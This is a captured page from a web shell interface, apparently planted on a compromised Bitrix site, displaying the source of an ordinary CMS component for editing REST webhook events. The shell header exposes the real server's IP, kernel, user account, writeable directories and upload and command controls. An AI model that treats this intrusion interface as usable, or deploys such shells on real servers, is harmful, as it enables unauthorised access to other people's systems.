%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.15.25.186
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rest.hook.event.edit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rest.hook.event.edit/component.php
<?php
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

/**
 * Bitrix vars
 *
 * @var array $arParams
 * @var array $arResult
 * @var CBitrixComponent $this
 * @global CMain $APPLICATION
 * @global CUser $USER
 */

use Bitrix\Main\Localization\Loc;

if(!\Bitrix\Main\Loader::includeModule('rest') || !$USER->IsAuthorized())
{
	return;
}

$arParams['ID'] = intval($arParams['ID']);

InitBVar($arParams['SET_TITLE']);

$eventDictionary = new \Bitrix\Rest\Dictionary\WebHook();
$arResult['EVENTS_DESC'] = array();

foreach($eventDictionary as $event)
{
	$arResult['EVENTS_DESC'][ToUpper($event['code'])] = $event;
}

if($arParams['ID'] > 0)
{
	$dbRes = \Bitrix\Rest\EventTable::getById($arParams['ID']);
	$event = $dbRes->fetch();

	if(is_array($event))
	{
		if($event['USER_ID'] != $USER->GetID() || $event['APP_ID'] > 0)
		{
			$event = false;
		}
	}

	if(!$event)
	{
		ShowError(Loc::getMessage('REST_HEVE_NOT_FOUND'));
		return;
	}

	$arResult['INFO'] = array(
		'ID' => $event['ID'],
		"EVENT_NAME" => $event['EVENT_NAME'],
		"EVENT_HANDLER" => $event['EVENT_HANDLER'],
		"TITLE" => $event['TITLE'],
		"COMMENT" => $event['COMMENT'],
		"APPLICATION_TOKEN" => $event['APPLICATION_TOKEN'],
	);
}
else
{
	$arResult['INFO'] = array(
		'ID' => 0,
		'EVENT_NAME' => '',
		'EVENT_HANDLER' => '',
		'TITLE' => Loc::getMessage('REST_HEVE_TITLE_DEFAULT'),
		'COMMENT' => '',
	);
}

$request = \Bitrix\Main\Context::getCurrent()->getRequest();

if($request->isPost() && check_bitrix_sessid())
{
	$arResult['INFO']['EVENT_NAME'] = trim($request['EVENT_NAME']);
	$arResult['INFO']['EVENT_HANDLER'] = trim($request['EVENT_HANDLER']);
	$arResult['INFO']['TITLE'] = trim($request['TITLE']);
	$arResult['INFO']['COMMENT'] = trim($request['COMMENT']);

	$error = new \Bitrix\Main\ErrorCollection();

	if($arResult['INFO']['EVENT_NAME'] <> '')
	{
		if(!isset($arResult['EVENTS_DESC'][$arResult['INFO']['EVENT_NAME']]))
		{
			$arResult['INFO']['EVENT_NAME'] = '';
		}
	}

	if($arResult['INFO']['EVENT_NAME'] == '')
	{
		$error->add(
			array(
				new \Bitrix\Main\Error(Loc::getMessage('REST_HEVE_ERROR_EVENT_NAME'))
			)
		);
	}

	$uri = new \Bitrix\Main\Web\Uri($arResult['INFO']['EVENT_HANDLER']);

	if(
		$uri->getHost() == ''
		|| !($uri->getScheme() == 'http' || $uri->getScheme() == 'https')
	)
	{
		$error->add(
			array(
				new \Bitrix\Main\Error(Loc::getMessage('REST_HEVE_ERROR_EVENT_HANDLER'))
			)
		);
	}

	$arResult['INFO']['EVENT_HANDLER'] = $uri->getLocator();

	if($error->count() <= 0)
	{
		if(!\Bitrix\Rest\OAuthService::getEngine()->isRegistered())
		{
			try
			{
				\Bitrix\Rest\OAuthService::register();
			}
			catch(\Bitrix\Main\SystemException $e)
			{
			}
		}

		if(
			$arResult['INFO']['ID'] <= 0
			|| $request['APPLICATION_TOKEN_REGEN'] == 'Y'
		)
		{
			$arResult['INFO']['APPLICATION_TOKEN'] = \Bitrix\Main\Security\Random::getString(32);
		}

		if($arResult['INFO']['ID'] > 0)
		{
			$result = \Bitrix\Rest\EventTable::update(
				$arResult['INFO']['ID'],
				array(
					'EVENT_NAME' => $arResult['INFO']['EVENT_NAME'],
					'EVENT_HANDLER' => $arResult['INFO']['EVENT_HANDLER'],
					'APPLICATION_TOKEN' => $arResult['INFO']['APPLICATION_TOKEN'],
					'TITLE' => $arResult['INFO']['TITLE'],
					'COMMENT' => $arResult['INFO']['COMMENT'],
				)
			);
		}
		else
		{
			$result = \Bitrix\Rest\EventTable::add(
				array(
					'USER_ID' => $USER->getId(),
					'DATE_CREATE' => new \Bitrix\Main\Type\DateTime(),
					'EVENT_NAME' => $arResult['INFO']['EVENT_NAME'],
					'EVENT_HANDLER' => $arResult['INFO']['EVENT_HANDLER'],
					'TITLE' => $arResult['INFO']['TITLE'],
					'COMMENT' => $arResult['INFO']['COMMENT'],
					'APPLICATION_TOKEN' => $arResult['INFO']['APPLICATION_TOKEN'],
				)
			);

			$justCreated = true;
		}

		if($result->isSuccess())
		{
			$arResult['INFO']['ID'] = $result->getId();

			$url = (new \Bitrix\Main\Web\Uri(str_replace(
				'#id#', $arResult['INFO']['ID'], $arParams['EDIT_URL_TPL']
			)))->addParams(array('success' => 1));

			if (\CRestUtil::isSlider())
			{
				$url->addParams(array('IFRAME' => 'Y'));
			}
			if ($justCreated || \CRestUtil::isSlider())
			{
				LocalRedirect($url->getLocator());
			}
			else
			{
				LocalRedirect($arParams['LIST_URL']);
			}
		}
		else
		{
			$arResult['ERROR'] = implode('<br />', $result->getErrorMessages());
		}
	}
	else
	{
		$arResult['ERROR'] = implode('<br />', $error->toArray());
	}
}

$arResult["EVENTS"] = \CRestUtil::getEventList();

if($arParams['SET_TITLE'] == 'Y')
{
	if($arResult['INFO']['ID'] > 0)
	{
		$APPLICATION->SetTitle(Loc::getMessage('REST_HEVE_EDIT_TITLE'));
	}
	else
	{
		$APPLICATION->SetTitle(Loc::getMessage('REST_HEVE_ADD_TITLE'));
	}
}

$this->IncludeComponentTemplate();

Youez - 2016 - github.com/yon3zu
LinuXploit